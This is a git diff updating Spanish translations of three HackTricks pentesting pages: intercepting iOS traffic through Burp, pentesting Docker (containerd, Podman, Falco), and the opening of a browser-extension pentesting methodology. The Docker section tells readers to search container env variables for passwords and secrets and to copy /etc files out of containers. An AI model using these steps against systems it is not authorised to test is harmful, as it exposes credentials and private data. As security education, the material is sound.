\ -Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\ -Obtén Acceso Hoy: +Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ +¡Accede hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Instalación del Certificado Burp en iOS físico +## Instalación del Certificado de Burp en Dispositivos iOS -Puedes instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **para ayudar a instalar el Certificado Burp, configurar el proxy y realizar SSL Pinning.**\ -O puedes seguir manualmente los siguientes pasos: +Para el análisis seguro del tráfico web y el pinning SSL en dispositivos iOS, se puede utilizar Burp Suite ya sea a través del **Asistente Móvil de Burp** o mediante una configuración manual. A continuación se presenta una guía resumida sobre ambos métodos: -* Configura **Burp** como el **proxy del iPhone en \_Ajustes**_\*\* --> \*\*_**Wifi**_\*\* --> \*\*_**Haz clic en la red**_\*\* --> \*\*_**Proxy**\_ -* Accede a `http://burp` y descarga el certificado -* Accede a _**Ajustes**_ --> _**General**_ --> _**VPN y Gestión de Dispositivos**_ --> Selecciona el perfil descargado e instálalo (se te pedirá tu código) -* Accede a _**Ajustes**_ --> _**General**_ --> _**Acerca de**_ --> _**Configuración de Confianza de Certificados**_ y habilita PortSwigger CA +### Instalación Automatizada con Burp Mobile Assistant +El **Asistente Móvil de Burp** simplifica el proceso de instalación del Certificado de Burp, la configuración del proxy y el SSL Pinning. Se puede encontrar una guía detallada en la [documentación oficial de PortSwigger](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). -### Configuración de un Proxy de Intercepción a través de localhost +### Pasos de Instalación Manual +1. **Configuración del Proxy:** Comienza configurando Burp como el proxy en los ajustes de Wi-Fi del iPhone. +2. **Descarga del Certificado:** Navega a `http://burp` en el navegador de tu dispositivo para descargar el certificado. +3. **Instalación del Certificado:** Instala el perfil descargado a través de **Ajustes** > **General** > **VPN y Administración de Dispositivos**, luego habilita la confianza para el CA de PortSwigger en **Ajustes de Confianza del Certificado**. -Configurar Burp para proxy de tu tráfico es bastante sencillo. Suponemos que tanto tu dispositivo iOS como el ordenador anfitrión están conectados a una red Wi-Fi que permite el tráfico cliente a cliente. Si no se permite el tráfico cliente a cliente, puedes usar usbmuxd para conectarte a Burp a través de USB. +### Configuración de un Proxy de Intercepción +La configuración permite el análisis del tráfico entre el dispositivo iOS y la internet a través de Burp, requiriendo una red Wi-Fi que admita el tráfico de cliente a cliente. Si no está disponible, una conexión USB a través de usbmuxd puede servir como alternativa. Los tutoriales de PortSwigger proporcionan instrucciones detalladas sobre la [configuración del dispositivo](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) e [instalación del certificado](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). -PortSwigger ofrece un buen [tutorial sobre cómo configurar un dispositivo iOS para trabajar con Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) y un [tutorial sobre cómo instalar el certificado CA de Burp en un dispositivo iOS](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). +### Configuración Avanzada para Dispositivos con Jailbreak +Para usuarios con dispositivos con jailbreak, SSH sobre USB (a través de **iproxy**) ofrece un método para enrutar el tráfico directamente a través de Burp: -#### Usando Burp a través de USB en un Dispositivo con Jailbreak - -Cuando realizamos análisis dinámico, es interesante usar la conexión SSH para enrutar nuestro tráfico a Burp que se ejecuta en nuestro ordenador. Empecemos: - -Primero necesitamos usar **iproxy** para hacer SSH desde iOS disponible en localhost. +1. **Establecer Conexión SSH:** Utiliza iproxy para reenviar SSH a localhost, permitiendo la conexión desde el dispositivo iOS al ordenador que ejecuta Burp. ```bash -$ iproxy 2222 22 -waiting for connection +iproxy 2222 22 ``` -El siguiente paso es realizar un reenvío de puerto remoto del puerto 8080 en el dispositivo iOS a la interfaz localhost en nuestra computadora al puerto 8080. +2. **Reenvío Remoto de Puertos:** Reenvía el puerto 8080 del dispositivo iOS al localhost del ordenador para habilitar el acceso directo a la interfaz de Burp. ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -Ahora deberías poder acceder a Burp en tu dispositivo iOS. Abre Safari en iOS y ve a **127.0.0.1:8080** y deberías ver la página de Burp Suite. Este también sería un buen momento para [instalar el certificado CA](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) de Burp en tu dispositivo iOS. +3. **Configuración de Proxy Global:** Por último, configura los ajustes de Wi-Fi del dispositivo iOS para utilizar un proxy manual, dirigiendo todo el tráfico web a través de Burp. -El último paso sería configurar el proxy globalmente en tu dispositivo iOS: +### Monitoreo/Captura Completa de la Red -1. Ve a **Ajustes** -> **Wi-Fi** -2. Conéctate a _cualquier_ Wi-Fi (puedes conectarte literalmente a cualquier Wi-Fi ya que el tráfico para el puerto 80 y 443 se redirigirá a través de USB, ya que estamos utilizando la configuración de Proxy para el Wi-Fi para poder establecer un Proxy global) -3. Una vez conectado, haz clic en el pequeño icono azul en el lado derecho del Wi-Fi conectado -4. Configura tu Proxy seleccionando **Manual** -5. Escribe 127.0.0.1 como **Servidor** -6. Escribe 8080 como **Puerto** +El monitoreo del tráfico de dispositivos no HTTP puede realizarse eficientemente utilizando **Wireshark**, una herramienta capaz de capturar todo tipo de tráfico de datos. Para dispositivos iOS, el monitoreo en tiempo real del tráfico se facilita mediante la creación de una Interfaz Virtual Remota, un proceso detallado en [esta publicación de Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Antes de comenzar, la instalación de **Wireshark** en un sistema macOS es un requisito previo. -### Monitoreo/Análisis completo de la red +El procedimiento implica varios pasos clave: -Si necesitas **monitorear algo diferente a las comunicaciones HTTP** puedes analizar todo el tráfico del dispositivo con **wireshark**.\ -Puedes analizar remotamente todo el tráfico en tiempo real en iOS [creando una Interfaz Virtual Remota](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) para tu dispositivo iOS. Primero asegúrate de tener **Wireshark** **instalado** en tu computadora host macOS. - -1. **Conecta** tu dispositivo iOS a tu computadora host macOS mediante USB. -2. Necesitarás saber el **UDID de tu dispositivo iOS**, antes de poder empezar a analizar. Abre el Terminal en macOS e introduce el siguiente comando, completando con el UDID de tu dispositivo iOS. +1. Iniciar una conexión entre el dispositivo iOS y el host macOS a través de USB. +2. Asegurar el **UDID** del dispositivo iOS, un paso necesario para el monitoreo del tráfico. Esto se puede hacer ejecutando un comando en el Terminal de macOS: ```bash $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` -1. Inicie **Wireshark** y seleccione "**rvi0**" como la interfaz de captura. -2. Filtre el tráfico con Filtros de Captura en Wireshark para mostrar lo que desea monitorear (por ejemplo, todo el tráfico HTTP enviado/recibido a través de la dirección IP 192.168.1.1). -``` -ip.addr == 192.168.1.1 && http -``` -```markdown -![](<../../.gitbook/assets/image (472).png>) - -La documentación de Wireshark ofrece muchos ejemplos de [Filtros de Captura](https://wiki.wireshark.org/CaptureFilters) que deberían ayudarte a filtrar el tráfico para obtener la información que deseas. +3. Después de identificar el UDID, se debe abrir **Wireshark** y seleccionar la interfaz "rvi0" para la captura de datos. +4. Para monitoreo específico, como capturar el tráfico HTTP relacionado con una dirección IP específica, se pueden emplear los Filtros de Captura de Wireshark: ## Instalación del Certificado Burp en el Simulador @@ -91,35 +73,35 @@ En _Proxy_ --> _Opciones_ --> _Exportar certificado CA_ --> _Certificado en form ![](<../../.gitbook/assets/image (459).png>) -* **Arrastrar y Soltar** el certificado dentro del Emulador -* **Dentro del emulador** ir a _Ajustes_ --> _General_ --> _Perfil_ --> _PortSwigger CA_, y **verificar el certificado** -* **Dentro del emulador** ir a _Ajustes_ --> _General_ --> _Acerca de_ --> _Configuración de Confianza de Certificados_, y **habilitar PortSwigger CA** +* **Arrastra y suelta** el certificado dentro del Emulador +* **Dentro del emulador** ve a _Ajustes_ --> _General_ --> _Perfil_ --> _PortSwigger CA_, y **verifica el certificado** +* **Dentro del emulador** ve a _Ajustes_ --> _General_ --> _Acerca de_ --> _Configuración de confianza del certificado_, y **habilita PortSwigger CA** ![](<../../.gitbook/assets/image (460).png>) -**Felicidades, has configurado con éxito el Certificado CA de Burp en el simulador de iOS** +**¡Felicidades, has configurado con éxito el Certificado CA de Burp en el simulador de iOS** {% hint style="info" %} **El simulador de iOS utilizará las configuraciones de proxy de MacOS.** {% endhint %} -### Configuración del Proxy en MacOS +### Configuración de Proxy en MacOS Pasos para configurar Burp como proxy: -* Ir a _Preferencias del Sistema_ --> _Red_ --> _Avanzado_ -* En la pestaña _Proxies_ marcar _Proxy Web (HTTP)_ y _Proxy Web Seguro (HTTPS)_ -* En ambas opciones configurar _127.0.0.1:8080_ +* Ve a _Preferencias del Sistema_ --> _Red_ --> _Avanzado_ +* En la pestaña _Proxies_ marca _Proxy web (HTTP)_ y _Proxy web seguro (HTTPS)_ +* En ambas opciones configura _127.0.0.1:8080_ ![](<../../.gitbook/assets/image (461).png>) -* Hacer clic en _**Ok**_ y luego en _**Aplicar**_ +* Haz clic en _**Aceptar**_ y luego en _**Aplicar**_
\ -Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\ -Obtén Acceso Hoy: +Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ +Accede hoy: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -129,11 +111,10 @@ Obtén Acceso Hoy: Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). -``` diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index aa45af4d8..5eccc632d 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -2,13 +2,13 @@
-Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. @@ -18,19 +18,15 @@ Otras formas de apoyar a HackTricks: ### ¿Qué es? -La Plataforma Docker es la plataforma de contenedores líder en la industria para una innovación continua y de alta velocidad, que permite a las organizaciones construir y compartir de manera fluida cualquier aplicación, desde legado hasta lo que viene a continuación, y ejecutarlas de forma segura en cualquier lugar. +La Plataforma Docker es la plataforma de contenedores líder en la industria para una innovación continua y de alta velocidad, que permite a las organizaciones construir y compartir cualquier aplicación de forma transparente, desde legado hasta lo que viene a continuación, y ejecutarlas de forma segura en cualquier lugar. ### Arquitectura básica de Docker -Esta información se obtiene de [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc). - -* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **gestionar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución del contenedor**, supervisión y redes. **Más información sobre containerd a continuación.** -* container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario. -* [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer. -* [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine. -* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución OCI. - -![runC, containerD](https://i.stack.imgur.com/5aXF6.png) +* **[containerd](http://containerd.io)** es un tiempo de ejecución para contenedores que es capaz de **gestionar todo el ciclo de vida de un contenedor, incluida la transferencia y almacenamiento de imágenes, así como la ejecución, supervisión y redes del contenedor**. **Se proporcionan más detalles sobre containerd a continuación**. +* El manejo de contenedores sin cabeza es facilitado por container-shim, que sirve como intermediario. Específicamente, después de la inicialización de los contenedores por runc, el control se pasa al container-shim. +* **[runc](http://runc.io)** es reconocido como un tiempo de ejecución de contenedores ligero y universal que cumple con la especificación OCI. Es utilizado por containerd para iniciar y gestionar contenedores de acuerdo con las especificaciones OCI y representa una versión renombrada de libcontainer. +* Con el propósito de facilitar la comunicación entre containerd y el motor de docker, se emplea **[grpc](http://www.grpc.io)**. +* La especificación OCI para tiempo de ejecución e imágenes es mantenida por **[OCI](https://www.opencontainers.org)**, con las versiones actuales de docker cumpliendo con las especificaciones de imagen y tiempo de ejecución de OCI. ### Comandos básicos ```bash @@ -57,7 +53,7 @@ docker system prune -a ``` ### Containerd -Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como por cualquier otra plataforma de contenedores que desee **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada más. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, al construir un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas de netlink en Linux. +Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como por cualquier otra plataforma de contenedores que desee **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente, esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, al construir un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas de netlink en Linux. Ten en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker ofrece**. Por ejemplo, ContainerD no tiene las características de gestión de red de Docker, ni puedes usar ContainerD solo para crear enjambres de Docker. ```bash @@ -77,17 +73,17 @@ ctr container delete ``` ### Podman -Un motor de contenedores de código abierto y compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)) conocido como Podman es mantenido por Red Hat. Se caracteriza por varias distinciones clave con respecto a Docker, incluida su estructura sin demonio y el soporte para contenedores que no requieren acceso de root. La función principal de ambas herramientas es gestionar imágenes y contenedores. Un objetivo notable de Podman es la compatibilidad con la API de Docker, lo que permite el uso de casi todos los comandos de CLI de Docker dentro de Podman. +Un motor de contenedores de código abierto y compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)) conocido como Podman es mantenido por Red Hat. Se caracteriza por varias distinciones clave con respecto a Docker, incluyendo su estructura sin daemon y el soporte para contenedores que no requieren acceso de root. La función principal de ambas herramientas es gestionar imágenes y contenedores. Un objetivo notable de Podman es la compatibilidad con la API de Docker, lo que permite utilizar casi todos los comandos de la CLI de Docker dentro de Podman. -Dentro del ecosistema de Podman, se encuentran dos herramientas adicionales, Buildah y Skopeo. Buildah sirve como una herramienta de CLI para construir imágenes de contenedores, mientras que Skopeo se utiliza para operaciones en imágenes como push, pull o inspectar. Para obtener más información sobre estas herramientas y su integración con Podman, [consulte su página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools). +Dentro del ecosistema de Podman, se encuentran dos herramientas adicionales, Buildah y Skopeo. Buildah sirve como una herramienta de CLI para construir imágenes de contenedores, mientras que Skopeo se utiliza para operaciones en imágenes como push, pull o inspect. Para obtener más información sobre estas herramientas y su integración con Podman, [consulte su página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools). **Diferencias Clave** -La diferencia más significativa entre Docker y Podman radica en su diseño arquitectónico. Docker opera en un modelo cliente-servidor, lo que requiere el uso de la CLI de Docker para interactuar con un demonio en segundo plano responsable de la construcción de imágenes y la ejecución de contenedores, que opera con privilegios de root. En contraste, Podman emplea una arquitectura sin demonio, lo que permite que los contenedores se ejecuten bajo los privilegios del usuario iniciador sin necesidad de acceso de root. Este diseño garantiza que los usuarios de Podman solo puedan interactuar con sus propios contenedores, sin un demonio compartido para la comunicación de CLI. +La diferencia más significativa entre Docker y Podman radica en su diseño arquitectónico. Docker opera en un modelo cliente-servidor, lo que requiere el uso de la CLI de Docker para interactuar con un daemon en segundo plano responsable de la construcción de imágenes y la ejecución de contenedores, que opera con privilegios de root. En contraste, Podman emplea una arquitectura sin daemon, lo que permite que los contenedores se ejecuten bajo los privilegios del usuario iniciador sin necesidad de acceso de root. Este diseño asegura que los usuarios de Podman solo puedan interactuar con sus propios contenedores, sin un daemon compartido para la comunicación de la CLI. -Para dar cabida a la operación de contenedores en segundo plano sin un demonio, Podman se integra con **systemd**, lo que permite la gestión de contenedores a través de unidades de systemd. Esta integración varía con la versión de Podman, ofreciendo la capacidad de generar unidades tanto para contenedores existentes como para aquellos que aún no se han creado, así como facilitando la operación de systemd dentro de los contenedores. A diferencia de Podman, Docker tradicionalmente depende de systemd para la gestión de procesos de demonio. +Para dar cabida a la operación de contenedores en segundo plano sin un daemon, Podman se integra con **systemd**, permitiendo la gestión de contenedores a través de unidades de systemd. Esta integración varía con la versión de Podman, ofreciendo la capacidad de generar unidades tanto para contenedores existentes como para aquellos que aún no se han creado, así como facilitando la operación de systemd dentro de los contenedores. A diferencia de Podman, Docker tradicionalmente depende de systemd para la gestión de procesos de daemon. -Otra diferencia crítica radica en la ejecución de contenedores. Podman permite que los contenedores se ejecuten con los privilegios del usuario iniciador, no bajo un demonio. Esto introduce el concepto de contenedores sin root, que pueden iniciarse sin acceso de root, ofreciendo una ventaja de seguridad significativa al limitar el impacto potencial de violaciones de contenedores. Los contenedores sin root garantizan que el atacante de un contenedor comprometido posea solo los privilegios de un usuario normal en el host, evitando la escalada de privilegios más allá de los del usuario iniciador y, por lo tanto, mejorando la seguridad. +Otra diferencia crítica radica en la ejecución de contenedores. Podman permite que los contenedores se ejecuten con los privilegios del usuario iniciador, no bajo un daemon. Esto introduce el concepto de contenedores sin root, que pueden iniciarse sin acceso de root, ofreciendo una ventaja de seguridad significativa al limitar el impacto potencial de violaciones de contenedores. Los contenedores sin root garantizan que un atacante de un contenedor comprometido posea solo los privilegios de un usuario normal en el host, evitando la escalada de privilegios más allá de los del usuario iniciador y mejorando así la seguridad. {% hint style="info" %} @@ -222,7 +218,7 @@ Si te encuentras dentro de un host que está utilizando Docker, puedes [**leer e docker ps [| grep ] docker inspect ``` -Verifique **env** (sección de variables de entorno) en busca de secretos y es posible que encuentre: +Verifique **env** (sección de variables de entorno) en busca de secretos y es posible que encuentres: * Contraseñas. * IP's. @@ -230,7 +226,7 @@ Verifique **env** (sección de variables de entorno) en busca de secretos y es p * Rutas. * Otros... . -Si desea extraer un archivo: +Si deseas extraer un archivo: ```bash docker cp :/etc/ ``` @@ -278,7 +274,7 @@ docker cp :/etc/ ### Registrando Actividades Sospechosas * Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**. -* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después de eso, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió una terminal dentro de uno de los contenedores. +* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después de eso, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos detectó cómo se abrió una shell dentro de uno de los contenedores. ``` docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host @@ -325,3 +321,18 @@ Puedes usar auditd para monitorear Docker. # Referencias * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) +* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) + +
+ +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! + +Otras formas de apoyar a HackTricks: + +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index 3f8ed7b12..dc828a195 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -1,54 +1,54 @@ -# Metodología de Pentesting de Extensiones de Navegador +# Metodología de Pentesting de Extensiones del Navegador
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
## Información Básica -Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOMs de otros sitios. Esto significa que pueden comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios. +Las extensiones del navegador están escritas en JavaScript y se cargan en segundo plano por el navegador. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que pueden comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios. ## Componentes Principales -La estructura de una extensión se visualiza mejor y consta de tres componentes. Veamos cada componente en detalle. +Los diseños de las extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en detalle.

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

### **Scripts de Contenido** -Cada script de contenido tiene acceso directo al DOM de una **página web individual** y, por lo tanto, está expuesto a **entradas potencialmente maliciosas**. Sin embargo, el script de contenido no contiene permisos aparte de la capacidad de enviar mensajes al núcleo de la extensión. +Cada script de contenido tiene acceso directo al DOM de una **única página web** y, por lo tanto, está expuesto a **entradas potencialmente maliciosas**. Sin embargo, el script de contenido no tiene permisos aparte de la capacidad de enviar mensajes al núcleo de la extensión. ### **Núcleo de la Extensión** -El núcleo de la extensión contiene la mayoría de los privilegios/accesos de la extensión, pero solo puede interactuar con el contenido web a través de [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) y scripts de contenido. Además, el núcleo de la extensión no tiene acceso directo a la máquina anfitriona. +El núcleo de la extensión contiene la mayoría de los privilegios/accesos de la extensión, pero solo puede interactuar con el contenido web a través de [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) y scripts de contenido. Además, el núcleo de la extensión no tiene acceso directo a la máquina host. ### **Binario Nativo** -La extensión permite un binario nativo que puede **acceder a la máquina anfitriona con todos los privilegios del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos del navegador. +La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la Interfaz de Programación de Aplicaciones de Plugin de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos del navegador. ### Límites {% hint style="danger" %} -Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar una entrada maliciosa del script de contenido al núcleo de la extensión y del núcleo de la extensión al binario nativo. +Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar una entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo. {% endhint %} -Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de las extensiones se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo. +Cada componente de la extensión está separado entre sí por **fuertes límites de protección**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo. 